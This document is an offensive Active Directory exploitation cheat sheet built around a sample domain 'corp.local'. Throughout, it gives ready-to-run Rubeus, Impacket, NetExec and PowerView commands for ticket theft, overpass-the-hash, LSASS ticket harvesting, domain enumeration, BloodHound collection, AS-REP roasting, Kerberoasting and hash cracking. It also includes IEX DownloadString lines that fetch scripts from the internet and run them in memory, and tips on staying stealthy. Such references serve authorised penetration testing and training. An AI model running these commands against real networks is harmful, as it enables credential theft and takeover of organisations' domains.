Active Directory Exploitation
#Environment Setup
## Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100" # Primary target IP
export TARGET_NETWORK="10.10.10.0/24" # Target network CIDR
export DC_IP="10.10.10.1" # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5" # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443" # Your listener port
export DOMAIN="corp.local" # Target domain name
Authenticating to Active Directory
#Windows Authentication
## === VIEW CURRENT KERBEROS TICKETS ===
# List all cached tickets
klist
# List tickets for specific logon session
klist -li 0x3e7 # SYSTEM logon session
# Purge all tickets (clear cache)
klist purge
# === DOMAIN CONTROLLER DISCOVERY ===
# Find Domain Controller for current domain
nltest /dsgetdc:$env:USERDOMAIN
# Find DCs for specific domain
nltest /dclist:corp.local
# Get DC via DNS
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.local
# PowerShell method
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers
# === RUBEUS AUTHENTICATION ===
# Request TGT with plaintext password
.\Rubeus.exe asktgt /user:jsmith /password:Welcome123! /domain:corp.local /ptt
# Request TGT with NTLM hash (Overpass-the-Hash)
.\Rubeus.exe asktgt /user:jsmith /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
# Request TGT with AES key (more stealthy)
.\Rubeus.exe asktgt /user:jsmith /aes256:AESKEY /domain:corp.local /ptt
# Request TGT without importing (save to file)
.\Rubeus.exe asktgt /user:jsmith /password:Welcome123! /domain:corp.local /outfile:jsmith.kirbi
# Request TGT for specific service (request ST)
.\Rubeus.exe asktgs /ticket:BASE64_TGT /service:cifs/fileserver.corp.local /ptt
# === MANAGING TICKETS ===
# List all tickets in current session
.\Rubeus.exe klist
# List tickets from all logon sessions (requires admin)
.\Rubeus.exe triage
# Dump specific ticket
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt
# Dump all TGTs
.\Rubeus.exe dump /service:krbtgt /nowrap
# Import ticket into current session
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Import ticket from file
.\Rubeus.exe ptt /ticket:C:\Temp\ticket.kirbi
# Monitor for new TGTs (useful for unconstrained delegation)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator
# Harvest TGTs from LSASS
.\Rubeus.exe harvest /interval:30
# === RENEWING TICKETS ===
# Renew TGT (if renewable flag is set)
.\Rubeus.exe renew /ticket:BASE64_TGT /ptt
# Renew all renewable TGTs
.\Rubeus.exe renew /autorenew
# === ACCESSING RESOURCES ===
# Access SMB share (automatically requests ST if needed)
net view \\DC01.corp.local
dir \\DC01.corp.local\C$
dir \\DC01.corp.local\SYSVOL
# Test authentication
klist
# Should show TGT and any service tickets
Linux Authentication
## === ENVIRONMENT SETUP ===
# Add KDC and DCs to /etc/hosts
echo "10.10.10.10 corp.local dc01.corp.local" | sudo tee -a /etc/hosts
echo "10.10.10.11 dc02.corp.local" | sudo tee -a /etc/hosts
# Sync time with KDC (critical for Kerberos)
sudo ntpdate -s corp.local
# Or with chrony
sudo chronyd -q 'server corp.local iburst'
# Or with timedatectl
sudo timedatectl set-ntp true
# Check time sync
date
# Should be within 5 minutes of DC time
# === KERBEROS CONFIGURATION ===
# Create krb5.conf (method 1: minimal)
cat > krb5.conf << 'EOF'
[libdefaults]
default_realm = CORP.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
[realms]
CORP.LOCAL = {
kdc = dc01.corp.local
admin_server = dc01.corp.local
}
[domain_realm]
.corp.local = CORP.LOCAL
corp.local = CORP.LOCAL
EOF
# Create krb5.conf (method 2: comprehensive)
cat > krb5.conf << 'EOF'
[libdefaults]
default_realm = CORP.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
udp_preference_limit = 1
[realms]
CORP.LOCAL = {
kdc = dc01.corp.local:88
admin_server = dc01.corp.local:749
default_domain = corp.local
}
[domain_realm]
.corp.local = CORP.LOCAL
corp.local = CORP.LOCAL
[logging]
default = FILE:/tmp/krb5libs.log
kdc = FILE:/tmp/krb5kdc.log
admin_server = FILE:/tmp/kadmind.log
EOF
# Set environment variable
export KRB5_CONFIG=$(pwd)/krb5.conf
# Verify configuration
klist -k # Should show keytab info (or error if none exists)
# === KINIT AUTHENTICATION ===
# Request TGT with password (interactive)
kinit jsmith@CORP.LOCAL
# Enter password when prompted
# Request TGT with password (non-interactive)
echo 'Welcome123!' | kinit jsmith@CORP.LOCAL
# Request TGT with keytab
kinit -kt user.keytab jsmith@CORP.LOCAL
# List cached tickets
klist
klist -e # Show encryption types
# Destroy tickets
kdestroy
# === IMPACKET AUTHENTICATION ===
# Get TGT with plaintext password
getTGT.py 'corp.local/jsmith:Welcome123!'
# Get TGT with NTLM hash
getTGT.py 'corp.local/jsmith' -hashes :64f12cddaa88057e06a81b54e73b949b
# Get TGT with AES key
getTGT.py 'corp.local/jsmith' -aesKey <AES256_KEY>
# Get TGT for specific DC
getTGT.py 'corp.local/jsmith:Welcome123!' -dc-ip 10.10.10.10
# Save ticket to specific file
getTGT.py 'corp.local/jsmith:Welcome123!' -o jsmith.ccache
# === USING KERBEROS CACHE ===
# Set cache file location
export KRB5CCNAME=/tmp/krb5cc_1000
# Or specific file
export KRB5CCNAME=$(pwd)/jsmith.ccache
# Use cache with Impacket tools
export KRB5CCNAME=jsmith.ccache
psexec.py -k -no-pass corp.local/jsmith@dc01.corp.local
# Use cache with NetExec
export KRB5CCNAME=jsmith.ccache
nxc smb dc01.corp.local --use-kcache
# === NETEXEC KERBEROS AUTHENTICATION ===
# Authenticate with password (auto-requests TGT)
nxc smb dc01.corp.local -u jsmith -p 'Welcome123!' -d corp.local --kerberos
# Authenticate with NTLM hash
nxc smb dc01.corp.local -u jsmith -H 64f12cddaa88057e06a81b54e73b949b --kerberos
# Use existing Kerberos cache
nxc smb dc01.corp.local --use-kcache
# Multiple targets with Kerberos
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!' --kerberos
# === ACQUIRING SERVICE TICKETS ===
# Request service ticket explicitly (kvno)
kvno cifs/dc01.corp.local
kvno ldap/dc01.corp.local
kvno http/web.corp.local
# Verify service ticket was acquired
klist
# Should show service ticket for requested SPN
# === TROUBLESHOOTING ===
# Common error: Clock skew too great
# Fix: Sync time with DC
sudo ntpdate -s corp.local
# Common error: Server not found in Kerberos database
# Fix: Check /etc/hosts and krb5.conf realm name (must be uppercase)
# Common error: Pre-authentication failed
# Fix: Verify username format (user@REALM.COM, not DOMAIN\user)
# Common error: Cannot resolve network address
# Fix: Add DC to /etc/hosts
# Enable debug logging
export KRB5_TRACE=/dev/stdout
kinit jsmith@CORP.LOCAL
# Test Kerberos authentication
kinit -V jsmith@CORP.LOCAL
klist -e
# Test service ticket acquisition
kvno -S cifs dc01.corp.local
# === TICKET CONVERSION (CROSS-PLATFORM) ===
# Convert between .kirbi (Windows) and .ccache (Linux)
# Use ticket_converter.py or custom script
# Kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache
# Ccache to kirbi
ticketConverter.py ticket.ccache ticket.kirbi
# Use converted ticket
export KRB5CCNAME=ticket.ccache
nxc smb dc01.corp.local --use-kcache
# === ADVANCED KERBEROS USAGE ===
# Request ticket with specific encryption type
kinit -e aes256-cts-hmac-sha1-96 jsmith@CORP.LOCAL
# Request renewable ticket
kinit -r 7d jsmith@CORP.LOCAL
# Renew existing ticket
kinit -R
# Request forwardable ticket
kinit -f jsmith@CORP.LOCAL
# Request ticket for specific service without caching
kvno -S cifs dc01.corp.local -P
# === PASS-THE-CACHE (PTC) ===
# Copy cache file from one user/system to another
cp /tmp/krb5cc_1000 /tmp/krb5cc_0
# Use copied cache
export KRB5CCNAME=/tmp/krb5cc_1000
klist
# Extract tickets from cache
klist -e -k -t
# === OVERPASS-THE-HASH (OPTH) FROM LINUX ===
# Method 1: Using getTGT.py
getTGT.py 'corp.local/jsmith' -hashes :64f12cddaa88057e06a81b54e73b949b
# Method 2: Using NetExec (integrated)
nxc smb dc01.corp.local -u jsmith -H 64f12cddaa88057e06a81b54e73b949b --kerberos
# Method 3: Using Rubeus.py (if available)
python3 rubeus.py asktgt -username jsmith -domain corp.local -nthash 64f12cddaa88057e06a81b54e73b949b
# Use generated ticket
export KRB5CCNAME=jsmith.ccache
nxc smb dc01.corp.local --use-kcache
Domain Enumeration
## === BASIC DOMAIN INFORMATION ===
# Current domain info
echo %USERDOMAIN%
echo %LOGONSERVER%
$env:USERDNSDOMAIN
$env:LOGONSERVER
# Domain controllers
nltest /dclist:$env:USERDOMAIN
nltest /dsgetdc:$env:USERDOMAIN
# DNS query for DCs
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
nslookup -type=SRV _kerberos._tcp.dc._msdcs.corp.local
# PowerShell domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# AD module (if available)
Get-ADDomain
Get-ADDomain -Identity corp.local
Get-ADForest
Get-ADForest -Identity corp.local
# Domain functional level
Get-ADDomain | Select-Object DomainMode
Get-ADForest | Select-Object ForestMode
# Domain trusts
nltest /domain_trusts
nltest /trusted_domains
# FSMO role holders
netdom query fsmo
Get-ADDomain | Select-Object InfrastructureMaster, RIDMaster, PDCEmulator
Get-ADForest | Select-Object DomainNamingMaster, SchemaMaster
# Domain password policy
net accounts /domain
Get-ADDefaultDomainPasswordPolicy
# === LINUX DOMAIN ENUMERATION ===
# LDAP domain info
ldapsearch -x -H ldap://dc01.corp.local -s base -b "" defaultNamingContext
# Domain functional level
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" "(objectClass=domainDNS)" msDS-Behavior-Version
# Domain controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
# NetExec domain info
nxc smb dc01.corp.local -u jsmith -p 'Welcome123!' --pass-pol
nxc ldap dc01.corp.local -u jsmith -p 'Welcome123!' -M get-desc-users
# Impacket domain info
lookupsid.py corp.local/jsmith:Welcome123!@dc01.corp.local
User Enumeration
## === LDAPSEARCH USER ENUMERATION ===
# All users
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName
# Users with specific attributes
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName mail description pwdLastSet lastLogon memberOf
# Users with adminCount=1 (privileged)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(adminCount=1))" sAMAccountName
# Users with SPN (Kerberoastable)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
# Users without pre-auth (AS-REP Roastable)
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
# Disabled users
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName
# === WINDAPSEARCH ===
# All users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --users
# Privileged users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --privileged-users
# Users with description containing "password"
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --custom "(description=*password*)"
# Unconstrained delegation users
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --unconstrained-users
# All attributes for specific user
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --user-attrs administrator
# === NETEXEC USER ENUMERATION ===
# All users
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --users
# Users with adminCount=1
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --admin-count
# Active users
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --active-users
# User descriptions
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M get-desc-users
# MAQ (MachineAccountQuota)
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M maq
# Get user info
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M user-desc -o USER=administrator
# === IMPACKET USER ENUMERATION ===
# RID cycling
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP
# RID cycling with range
lookupsid.py corp.local/jsmith:Welcome123!@DC_IP 20000
# === POWERVIEW USER ENUMERATION ===
# Import PowerView
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# All domain users
Get-DomainUser
Get-DomainUser | Select-Object samaccountname,description,pwdlastset,lastlogon
# Specific user
Get-DomainUser -Identity administrator
Get-DomainUser -Identity administrator -Properties *
# Users with specific attributes
Get-DomainUser -LDAPFilter "(description=*password*)"
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
# Users with SPN
Get-DomainUser -SPN
# Users with adminCount=1
Get-DomainUser -AdminCount
# Recently created users
Get-DomainUser | Where-Object {$_.whencreated -gt (Get-Date).AddDays(-30)}
# Users who haven't logged on in 90 days
Get-DomainUser | Where-Object {$_.lastlogon -lt (Get-Date).AddDays(-90)}
# Users with password not required
Get-DomainUser -UACFilter PASSWD_NOTREQD
# Users with password never expires
Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD
# Users with delegation rights
Get-DomainUser -TrustedToAuth
# Users with constrained delegation
Get-DomainUser -AllowDelegation
# === AD MODULE USER ENUMERATION ===
# All users
Get-ADUser -Filter *
Get-ADUser -Filter * | Select-Object SamAccountName,Enabled,LastLogonDate
# Specific user
Get-ADUser -Identity administrator -Properties *
# Users with specific criteria
Get-ADUser -Filter {Enabled -eq $true}
Get-ADUser -Filter {Description -like "*password*"}
Get-ADUser -Filter {AdminCount -eq 1}
# Users in specific OU
Get-ADUser -Filter * -SearchBase "OU=IT,DC=corp,DC=local"
# Users with SPN
Get-ADUser -Filter {ServicePrincipalName -like "*"}
# Users with password never expires
Get-ADUser -Filter {PasswordNeverExpires -eq $true}
Group Enumeration
## === LDAPSEARCH GROUP ENUMERATION ===
# All groups
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=group)" cn member
# Privileged groups
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Administrators)))" cn member
# Group members
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(cn=Domain Admins)" member
# Groups with adminCount=1
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=group)(adminCount=1))" cn
# === WINDAPSEARCH GROUPS ===
# All groups
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --groups
# Privileged groups
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --privileged-groups
# Group members
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --group-members "Domain Admins"
# === NETEXEC GROUP ENUMERATION ===
# All groups
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --groups
# Specific group members
nxc ldap DC_IP -u jsmith -p 'Welcome123!' -M group-mem -o GROUP="Domain Admins"
# === POWERVIEW GROUP ENUMERATION ===
# All groups
Get-DomainGroup
Get-DomainGroup | Select-Object samaccountname,description
# Specific group
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" -Properties *
# Group members
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# Groups with specific attributes
Get-DomainGroup -LDAPFilter "(description=*admin*)"
Get-DomainGroup -AdminCount
# User's group membership
Get-DomainGroup -UserName jsmith
# Groups in specific OU
Get-DomainGroup -SearchBase "OU=Groups,DC=corp,DC=local"
# Local admin group members on computers
Get-NetLocalGroupMember -ComputerName DC01 -GroupName Administrators
# === AD MODULE GROUP ENUMERATION ===
# All groups
Get-ADGroup -Filter *
# Specific group
Get-ADGroup -Identity "Domain Admins" -Properties *
# Group members
Get-ADGroupMember -Identity "Domain Admins"
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# User's group membership
Get-ADPrincipalGroupMembership -Identity jsmith
Computer Enumeration
## === LDAPSEARCH COMPUTER ENUMERATION ===
# All computers
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(objectClass=computer)" dNSHostName operatingSystem
# Domain controllers
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" dNSHostName
# Computers with unconstrained delegation
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName
# Computers with constrained delegation
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=computer)(msDS-AllowedToDelegateTo=*))" dNSHostName msDS-AllowedToDelegateTo
# === WINDAPSEARCH COMPUTERS ===
# All computers
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --computers
# Domain controllers
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --dc
# Computers with unconstrained delegation
python3 windapsearch.py --dc-ip DC_IP -u jsmith@corp.local -p 'Welcome123!' --unconstrained-computers
# === NETEXEC COMPUTER ENUMERATION ===
# All computers
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --computers
# Enumerate SMB on all computers
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!'
# Find computers where user has admin
nxc smb 10.10.10.0/24 -u jsmith -p 'Welcome123!' --local-auth
# === POWERVIEW COMPUTER ENUMERATION ===
# All computers
Get-DomainComputer
Get-DomainComputer | Select-Object name,operatingsystem,serviceprincipalname
# Specific computer
Get-DomainComputer -Identity DC01
Get-DomainComputer -Identity DC01 -Properties *
# Computers with specific OS
Get-DomainComputer -OperatingSystem "*Server 2019*"
Get-DomainComputer -OperatingSystem "*Windows 10*"
# Domain controllers
Get-DomainController
Get-DomainController | Select-Object Name,IPAddress,OSVersion
# Computers with unconstrained delegation
Get-DomainComputer -Unconstrained
# Computers with constrained delegation
Get-DomainComputer -TrustedToAuth
# Computers in specific OU
Get-DomainComputer -SearchBase "OU=Servers,DC=corp,DC=local"
# Live computers (ping sweep)
Get-DomainComputer | ForEach-Object {if (Test-Connection -Count 1 -ComputerName $_.dnshostname -Quiet){$_.dnshostname}}
# Computers with specific SPN
Get-DomainComputer -ServicePrincipalName "*MSSQL*"
# === AD MODULE COMPUTER ENUMERATION ===
# All computers
Get-ADComputer -Filter *
Get-ADComputer -Filter * | Select-Object Name,OperatingSystem,LastLogonDate
# Specific computer
Get-ADComputer -Identity DC01 -Properties *
# Computers with specific criteria
Get-ADComputer -Filter {OperatingSystem -like "*Server*"}
Get-ADComputer -Filter {Enabled -eq $true}
# Domain controllers
Get-ADDomainController -Filter *
BloodHound Collection
## === SHARPHOUND (WINDOWS) ===
# Download and run in memory
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ -OutputPrefix "corp_bh"
# Run executable
.\SharpHound.exe -c All -d corp.local --zipfilename corp_bh.zip
# Specific collection methods
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp\
.\SharpHound.exe -c Session,LoggedOn --outputdirectory C:\Temp\
.\SharpHound.exe -c Group,LocalAdmin --outputdirectory C:\Temp\
# Stealth collection (no port scanning)
.\SharpHound.exe -c All --stealth --outputdirectory C:\Temp\
# Loop collection (monitor changes)
.\SharpHound.exe -c Session --loop --loopduration 02:00:00
# Specify domain controller
.\SharpHound.exe -c All -d corp.local --domaincontroller dc01.corp.local
# Skip specific checks
.\SharpHound.exe -c All --excludedc --outputdirectory C:\Temp\
# Debug mode
.\SharpHound.exe -c All -v --outputdirectory C:\Temp\
# === BLOODHOUND-PYTHON (LINUX) ===
# All collection methods
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c All
# Specific collection methods
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c DCOnly
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c Group,LocalAdmin
# With NTLM hash
bloodhound-python -u jsmith --hashes :NTLM_HASH -ns DC_IP -d corp.local -c All
# With Kerberos
bloodhound-python -u jsmith -k -ns DC_IP -d corp.local -c All
# Specify domain controller
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -dc dc01.corp.local -c All
# Output to specific directory
bloodhound-python -u jsmith -p 'Welcome123!' -ns DC_IP -d corp.local -c All --zip -o /tmp/bh_output
# === NETEXEC BLOODHOUND ===
# Collect all data
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --bloodhound -ns DC_IP -c All
# Collect specific methods
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --bloodhound -ns DC_IP -c DCOnly
# === RUSTHOUND (MODERN ALTERNATIVE) ===
# All collection
rusthound -d corp.local -u jsmith@corp.local -p 'Welcome123!' -o /tmp/bh_output
# With LDAPS
rusthound -d corp.local -u jsmith@corp.local -p 'Welcome123!' --ldaps -o /tmp/bh_output
# === AZUREHOUND (AZURE AD) ===
# Collect Azure AD data
azurehound -u user@company.com -p 'Welcome123!' list --tenant company.onmicrosoft.com
# With refresh token
azurehound -r <refresh_token> list --tenant company.onmicrosoft.com
# === ANALYZING BLOODHOUND DATA ===
# Start Neo4j
sudo neo4j console
# Start BloodHound GUI
bloodhound
# Import data via GUI
# File → Upload Data → Select .zip file
# Useful Cypher queries
# Find shortest path to DA
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}),(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p
# Find computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# Find users with DCSync rights
MATCH (u:User)-[:DCSync]->(d:Domain) RETURN u
# Find Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
# Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u
# Find computers where user has admin
MATCH (u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c
# Find high-value targets
MATCH (h {highvalue:true}) RETURN h
# Find owned principals
MATCH (o {owned:true}) RETURN o
# Mark as owned (after compromise)
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}) SET u.owned=true
# Mark as high value
MATCH (u:User {name:"ADMIN@CORP.LOCAL"}) SET u.highvalue=true
Credential Attacks
#AS-REP Roasting
## === CONCEPT ===
# Targets users with "Do not require Kerberos preauthentication" enabled
# Allows requesting AS-REP without authentication
# Hash can be cracked offline
# === FINDING AS-REP ROASTABLE USERS ===
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
# PowerView
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
# BloodHound Cypher
MATCH (u:User {dontreqpreauth:true}) RETURN u
# === IMPACKET GETNPUSERS ===
# Without credentials (unauthenticated)
GetNPUsers.py corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt
# With credentials
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request
# Request for specific user
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request-user targetuser
# Output in hashcat format
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -format hashcat -outputfile asrep_hashes.txt
# Output in john format
GetNPUsers.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -format john -outputfile asrep_hashes.txt
# With NTLM hash
GetNPUsers.py corp.local/jsmith -hashes :NTLM_HASH -dc-ip DC_IP -request
# === NETEXEC AS-REP ROASTING ===
# Request AS-REP hashes
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --asreproast asrep_hashes.txt
# Output in different format
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --asreproast asrep_hashes.txt --asreproast-format hashcat
# Without credentials (if anonymous LDAP is enabled)
nxc ldap DC_IP -u '' -p '' --asreproast asrep_hashes.txt
# === RUBEUS AS-REP ROASTING ===
# Request AS-REP for all vulnerable users
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Request for specific user
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:asrep_hash.txt
# Request for specific domain
.\Rubeus.exe asreproast /domain:corp.local /dc:dc01.corp.local /format:hashcat
# Use alternate credentials
.\Rubeus.exe asreproast /user:targetuser /domain:corp.local /dc:dc01.corp.local /creduser:jsmith /credpassword:Welcome123!
# Request with verbose output
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt /nowrap
# === CRACKING AS-REP HASHES ===
# Hashcat (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
# Hashcat with rules
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# Hashcat with mask attack
hashcat -m 18200 asrep_hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d --force
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# John with rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 asrep_hashes.txt
# Show cracked hashes
hashcat -m 18200 asrep_hashes.txt --show
john --show asrep_hashes.txt
# === EXPLOITATION NOTES ===
# After obtaining hash, crack offline
# No account lockout risk
# Does not generate logon event
# Stealthy - only AS-REQ logged
Kerberoasting
## === CONCEPT ===
# Request service tickets (TGS) for accounts with SPNs
# Service ticket encrypted with service account's password hash
# Crack offline to recover plaintext password
# === FINDING KERBEROASTABLE ACCOUNTS ===
# LDAP query
ldapsearch -x -H ldap://DC_IP -D "jsmith@corp.local" -w 'Welcome123!' -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
# PowerView
Get-DomainUser -SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
# BloodHound Cypher
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {hasspn:true}) WHERE NOT u.name CONTAINS "KRBTGT" RETURN u
# Check for weak SPNs (non-machine accounts)
Get-DomainUser -SPN | Where-Object {$_.samaccountname -notlike "*$"}
# === IMPACKET GETUSERSPNS ===
# Request all Kerberoastable hashes
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request
# Request for specific user
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request-user svcaccount
# Output in hashcat format
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -outputfile kerberoast_hashes.txt
# With NTLM hash
GetUserSPNs.py corp.local/jsmith -hashes :NTLM_HASH -dc-ip DC_IP -request
# With Kerberos authentication
GetUserSPNs.py corp.local/jsmith -k -no-pass -dc-ip DC_IP -request
# Save tickets (not hashes)
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -save
# Request only RC4 encrypted tickets (easier to crack)
GetUserSPNs.py corp.local/jsmith:Welcome123! -dc-ip DC_IP -request -outputfile hashes.txt -dc-ip DC_IP
# === NETEXEC KERBEROASTING ===
# Request Kerberoast hashes
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberoasting kerberoast_hashes.txt
# Output in hashcat format
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberoasting kerberoast_hashes.txt --kerberoasting-format hashcat
# With Kerberos authentication
nxc ldap DC_IP -u jsmith -p 'Welcome123!' --kerberos --kerberoasting kerberoast_hashes.txt
# === RUBEUS KERBEROASTING ===
# Request all Kerberoastable hashes
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Request with hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
# Request for specific user
.\Rubeus.exe kerberoast /user:svcaccount /format:hashcat /outfile:hash.txt
# Request only RC4 tickets (deprecated encryption, easier to crack)
.\Rubeus.exe kerberoast /rc4 /outfile:kerberoast_rc4.txt
# Request AES tickets
.\Rubeus.exe kerberoast /aes /outfile:kerberoast_aes.txt
# Specify domain
.\Rubeus.exe kerberoast /domain:corp.local /dc:dc01.corp.local /outfile:hashes.txt
# Use alternate credentials
.\Rubeus.exe kerberoast /creduser:corp.local\jsmith /credpassword:Welcome123! /outfile:hashes.txt
# Request without wrapping (single line per hash)
.\Rubeus.exe kerberoast /format:hashcat /nowrap /outfile:hashes.txt
